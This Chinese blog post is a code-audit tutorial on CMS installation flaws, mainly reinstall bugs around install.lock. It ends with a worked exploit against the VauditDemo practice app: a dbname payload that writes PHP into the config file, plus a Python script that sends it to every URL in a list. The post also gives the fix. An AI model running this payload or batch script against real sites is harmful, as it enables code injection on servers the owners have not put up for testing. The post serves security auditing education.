要对一个程序做系统的审计工作,很多人都认为代码审计工作是在我们将CMS安装好之后才开始的,其实不然,在安装的时候审计就已经开始了!

一般安装文件为install.php或install/或include/目录下的某个文件 访问后开始进行安装,常见安装漏洞如下

(本文设计的Python辅助工具,公众号回复:Python_Fuzhu 获取)

install.lock文件

在完成CMS的安装之后一般都会生成一个install.lock文件这个文件的作用就是 "防止网站误重启安装向导,导致重新安装"这个文件也被称为"安装锁定保护文件"
它是以 ".lock" 结尾
但是其文件名不一定为install,只是大多数情况下为install而如果我们可以利用一些方法进行删除这个文件,或者重命名那么就可以导致网站被重装

判断 lock 后跳转无exit

也就是说程序判断是否存在这个文件,如果存在则跳转到index.php相反则进行安装程序,而程序在判断之后没有进行exit结束
导致后面代码正常执行
我们只是没看到而已,所以就造成了重装漏洞

解析 install.php.bak 漏洞

在安装完成后将Install.php rename为install.php.bak但是由于apache的解析漏洞:
如果无法识别最后的一个后缀的话,就会向上解析
那么就成为了PHP了,就会结合安装时的变量覆盖,又成重装了

变量覆盖导致重装

如果可以用GET、POST、COOKIE任意提交一个变量名为$insLockfile,给其赋空值覆盖掉$insLockFile从而让file_exists为False就不会退出

安装文件的向导问题

如果在安装过程只能参数步骤直接以 GET 的形式提交那么可以通过step X的方式直接进入下一步安装

无验证功能,任意重装覆盖

在时候CMS程序在完成安装之后即不会自动删除安装包也不会生成.lock文件来判断是否安装成功过

这时候就有可能出现 "误启安装向导" 导致系统重新安装,造成网站数据覆盖

下面进入实战阶段:

打开安装判断文件

注意第三行,可以看到程序时判断install.lock是否存在,如果存在则添加Location进行跳转到主页

虽然会跳转,但是下面的代码会继续正常执行,只是我们看不到了而已

已知可以重装,正常安装后,我们来看一下源代码,寻找可控变量

可以看到150行,存在可控遍历$str_tmp,往上翻,看到$str_tmp中存在可控变量

可以看到可控遍历有

$dbhost,$dbuser,$dbpass,

也就是说我们只要能控制这个几个变量,就可以把文件写入到/sys/config.php

可以看到前三个都是在mysql_connect里面进行连接数据库的,无法修改,所以可以选择$dbname

往前面翻,寻找这个变量是否在其他地方执行,因为我们不能代码正常执行且getshell,不然报错就无法执行

在120行进行了创建数据库的操作,也就是说我们的语句即可以执行sql语句,并且在文件中还要闭合引号

写入的配置文件如下(/sys/config.php)

    <?php

    error_reporting(0);

    if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
header("Location: /install/install.php");
exit;
} include_once('../sys/lib.php'); $host="localhost";
$username="root";
$password="root";
$database="demo1"; $conn = mysql_connect($host,$username,$password);
mysql_query('set names utf8',$conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn)
{
die('Could not connect: ' . mysql_error());
exit;
} session_start(); ?>

可以看到$database="$dbname",接下来先闭合下执行的sql语句

exp;-- "            正常执行sql语句

sql中--表示注释,而//在php表示注释,也就相当于闭合了sql语句

接下来我们需要执行php代码,去闭合config.php

payload:exp;-- ";phpinfo();//

现在就可以写exp啦,还是刚才所说的,程序虽然会跳转但是还是会正常执行

POC:exp50;-- ";phpinfo();//

请求url:

http://www.vauditdemo.com/install/install.php

请求方式:post

ok,有这几点,我们就可以写个脚本,模拟发送请求

这样只是批量执行了代码,我们可以自定义exp,自己修改,这里仅作演示

修改为批量,中间exp可自行修改(工具后台回复Python_Fuzhu)

修复方法也很简单,这个程序是因为没有执行完后进行结束,从而执行后面的代码

我们只需要在第5行添加exit;即可

 

完整EXP代码如下:

    #!/usr/bin/python
#-*- coding:utf-8 -*- import requests def main(url):
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'}
url = url+'/install/install.php'
data= {'dbhost':'localhost',
'dbuser':'root',
'dbpass':'root',
'dbname':'exp50;-- ";phpinfo();//',
'Submit':'%E5%AE%89%E8%A3%9D'
} html = requests.post(url,data=data,headers=headers)
if 'phpinfo' in html.content:
print(url,'ok') with open('url.txt','r')as f:
for u in f.readlines():
main(u)

喜欢的支持下叭~

代码审计VauditDemo程序到exp编写的更多相关文章

  1. 简单的Poc Exp编写(上)

    简单的POC EXP 编写 (上)   作者BY Greekn   今天主要讲的 是关于web 方面的 poc 编写 关于web 安全 个人理解的话 一个就是攻击  另一个就是漏洞挖掘了 防御的话 看 ...

  2. 程序员自己编写的类和JDK类是一种合作关系。

    封装类: JAVA为每一个简单数据类型提供了一个封装类,使每个简单数据类型可以被Object来装载. 除了int和char,其余类型首字母大写即成封装类. 转换字符的方式: int I=10; Str ...

  3. 程序员自己编写的类和JDK类是一种合作关系

    封装类: JAVA为每一个简单数据类型提供了一个封装类,使每个简单数据类型可以被Object来装载. 除了int和char,其余类型首字母大写即成封装类. 转换字符的方式: int I=10; Str ...

  4. 然之协同系统6.4.1 SQL注入之exp编写

    前言 前面已经说明了 漏洞成因,这里介绍一下 exp 的编写. 正文 为了 getshell 或者是 任意文件下载, 我们需要修改 数据库中的 前缀sys_file 表, 所以我们的利用方式如下 使用 ...

  5. 转载linux c语言程序的Makefile编写

    对于程序设计员来说,makefile是我们绕不过去的一个坎.可能对于习惯Visual C++的用户来说,是否会编写makefile无所谓.毕竟工具本身已经帮我们做好了全部的编译流程.但是在Linux上 ...

  6. 编写运行最简单的java程序——使用记事本编写java程序

    第一个java程序--使用记事本编辑 经过上篇文章的java环境搭建成功的小伙伴们可以在自己的计算机上编写属于自己的java程序了yo~ 还没有搭建环境变量的小伙伴请转移到上一篇的随笔中去完成搭建. ...

  7. java程序员如何编写更好的单元测试的7个技巧

    详解 cppunit进行单元测试 单元测试(模块测试)是开发者编写的一小段代码,用于检验被测代码的一个很小的.很明确的功能是否正确.通常而言,一个单元测试是用于判断某个特定条件(或者场景)下某个特定函 ...

  8. 300道随机四则运算小程序(java编写)

    这是由Java编写的300道随机四则运算小程序, 运算数范围为0~100(不包括100),运算结果保留两位小数. 程序代码: import java.util.*; class Yunsuan{ pu ...

  9. 程序员如何编写好开发技术文档 如何编写优质的API文档工作

    编写技术文档,是令众多开发者望而生畏的任务之一.它本身是一件费时费力才能做好的工作.可是大多数时候,人们却总是想抄抄捷径,这样做的结果往往非常令人遗憾的,因为优质的技术文档是决定你的项目是否引人关注的 ...

随机推荐

  1. 说出几点 Java 中使用 Collections 的最佳实践?

    这是我在使用 Java 中 Collectionc 类的一些最佳实践: a)使用正确的集合类,例如,如果不需要同步列表,使用 ArrayList 而不是 Vector. b)优先使用并发集合,而不是对 ...

  2. Java 中用到的线程调度算法是什么?

    抢占式.一个线程用完 CPU 之后,操作系统会根据线程优先级.线程饥饿情况等 数据算出一个总的优先级并分配下一个时间片给某个线程执行.

  3. js--事件循环机制

    前言 我们知道JavaScript 是单线程的编程语言,只能同一时间内做一件事,按顺序来处理事件,但是在遇到异步事件的时候,js线程并没有阻塞,还会继续执行,这又是为什么呢?本文来总结一下js 的事件 ...

  4. 一个注解@Recover搞定丑陋的循环重试代码

    使用背景 在实际项目中其中一部分逻辑可能会因为调用了外部服务或者等待锁等情况下出现不可预料的异常,在这个时候我们可能需要对调用这部分逻辑进行重试,代码里面主要就是使用for循环写一大坨重试的逻辑,各种 ...

  5. 模拟web服务器http请求应答

    我们在浏览器打开网页,其实是向远端服务器提出页面发送请求,远端服务器在接到请求后,就开始执行请求页面的程序文件,然后将执行结果通过html格式,发送到你的浏览器,再显示出来.以下用百度(www.bai ...

  6. C语言形参和实参的区别(非常详细)

    如果把函数比喻成一台机器,那么参数就是原材料,返回值就是最终产品:从一定程度上讲,函数的作用就是根据不同的参数产生不同的返回值.这一节我们先来讲解C语言函数的参数,下一节再讲解C语言函数的返回值.C语 ...

  7. 小程序图片轮播特效swiper(纯手打)

    前言 一个月前还是用vue做微信H5,后面公司业务发展,入坑小程序,做了几款小程,跑了不少坑, 也会陆续在后面几节跟大家分享. 在这节给大家分享这个 小程序图片轮播实现方案 初步的实现思路 我要实现的 ...

  8. Java中 i++和++i 的区别

    学习目标: 理解i++和++i的区别 学习内容: 1.i++ / i- - i++/i- -:遇到 i++或 i- -,i先参与运算,然后 i 再自加或自减1 代码如下: int a = 1; int ...

  9. ThinkCMF[仿骑呗共享单车官网]

    学习Thinkcmf内容管理系统(Thinkphp3.2.3框架)时候,用来练手的,简单的模仿骑呗官网首页,并对后台管理做了点小修改. 安装: 下载地址:https://pan.baidu.com/s ...

  10. 微信小程序支付框样式以及功能

    1.页面代码 <view catchtap='showInputLayer' class="btn_pay">立即支付</view> <!-- 密码输 ...